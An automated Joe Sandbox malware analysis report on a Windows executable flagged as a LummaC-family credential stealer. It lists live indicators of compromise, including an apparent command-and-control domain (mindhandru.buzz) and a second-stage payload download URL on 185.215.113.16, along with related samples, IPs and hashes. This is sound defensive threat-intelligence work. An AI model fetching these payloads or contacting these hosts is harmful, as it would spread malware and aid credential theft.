https://duckduckgo.com/ac/?q=	O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/lV	O53VxanH6A.exe, 00000000.00000003.1433142361.000000000589B000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1432275951.0000000005899000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1462700318.000000000589B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/9xt	O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_91.12.dr	false		high
https://mindhandru.buzz/1r	O53VxanH6A.exe, 00000000.00000003.1462700318.000000000589B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://mindhandru.buzz/3P	O53VxanH6A.exe, 00000000.00000003.1433142361.000000000589B000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1409220594.000000000589B000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1432275951.0000000005899000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1407361973.000000000589A000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1407592976.000000000589A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apis/	O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001094000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Youssef1313	chromecache_91.12.dr	false		high
https://mindhandru.buzz/pi	O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001094000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_87.12.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_91.12.dr	false		high
https://mindhandru.buzz:443/api	O53VxanH6A.exe, 00000000.00000003.1407361973.000000000589A000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481322827.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481038436.00000000010F1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/Ky	O53VxanH6A.exe, 00000000.00000003.1624348401.0000000005899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_91.12.dr	false		high
http://x1.c.lencr.org/0	O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_91.12.dr, chromecache_74.12.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://github.com/gewarren	chromecache_91.12.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	O53VxanH6A.exe, 00000000.00000003.1409246125.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_91.12.dr	false		high
http://185.215.113.16/off/def.exeeWebKit/537.36	O53VxanH6A.exe, 00000000.00000002.1696040820.0000000000F0A000.00000004.00000010.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_91.12.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_91.12.dr	false		high
https://mindhandru.buzz/t	O53VxanH6A.exe, 00000000.00000003.1624717886.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/PATENTS.txt	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://aka.ms/certhelp	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/	O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001072000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1463830965.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624717886.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481038436.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1521960777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356073175.0000000001094000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1462767540.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481322827.0000000001105000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/k	O53VxanH6A.exe, 00000000.00000003.1624348401.0000000005899000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/mairaw	chromecache_91.12.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_91.12.dr	false		high
https://schema.org	chromecache_87.12.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://www.ecosia.org/newtab/	O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	O53VxanH6A.exe, 00000000.00000003.1409246125.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apix	O53VxanH6A.exe, 00000000.00000003.1462767540.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/yourcaliforniaprivacychoices	chromecache_91.12.dr	false		high
https://ac.ecosia.org/autocomplete?q=	O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_91.12.dr	false		high
http://185.215.113.16/	O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://github.com/adegeo	chromecache_91.12.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_109.12.dr, chromecache_87.12.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/EDRHVD	O53VxanH6A.exe, 00000000.00000003.1481038436.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1481322827.0000000001105000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://octokit.github.io/rest.js/#throttling	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/ws	O53VxanH6A.exe, 00000000.00000003.1463830965.0000000001105000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1462767540.0000000001105000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_109.12.dr, chromecache_87.12.dr	false		high
http://185.215.113.16/off/def.exe	O53VxanH6A.exe, 00000000.00000002.1696135806.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_91.12.dr	false		high
https://channel9.msdn.com/	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	O53VxanH6A.exe, 00000000.00000003.1356816796.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356890410.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356761456.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_109.12.dr, chromecache_87.12.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	O53VxanH6A.exe, 00000000.00000003.1409584567.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.165.185	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581396
Start date and time:	2024-12-27 14:55:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	O53VxanH6A.exe renamed because original name is a hash value
Original Sample Name:	9b57fb40cc559ecac791f39ca8916ed8.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 23.218.210.69, 64.233.161.84, 142.250.181.142, 172.217.21.35, 184.30.22.94, 20.189.173.4, 142.250.181.10, 172.217.19.202, 172.217.21.42, 142.250.181.106, 172.217.19.170, 216.58.208.234, 142.250.181.42, 142.250.181.74, 142.250.181.138, 172.217.17.42, 172.217.17.74, 172.217.19.234, 2.19.198.56, 23.32.238.130, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.35, 13.107.246.63, 4.175.87.197, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, onedscolprdwus03.westus.cloudapp.azure.com, go.microsoft.com, clients2.google.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com, wcps
Execution Graph export aborted for target O53VxanH6A.exe, PID 3664 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: O53VxanH6A.exe

Simulations

Behavior and APIs

Time	Type	Description
08:56:09	API Interceptor	78x Sleep call for process: O53VxanH6A.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.165.185	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/steam/random.exe
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	zox1oNM5Xl.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	OTRykEzo6o.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	wceaux.dll.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	wp.bat	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse	13.107.246.63
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	EwhnoHx0n5.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
mindhandru.buzz	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.2.51
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	EB2UOXRNsE.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86
	gshv2.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	172.67.216.236
	https://dnsextension.pro/invoice/d2d0bf8701b34bc296ca83b956c10720	Get hash	malicious	Unknown	Browse	104.21.31.138
WHOLESALECONNECTIONSNL	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	185.215.113.206
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.185
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.185
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.185
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse	172.67.165.185
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.185

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
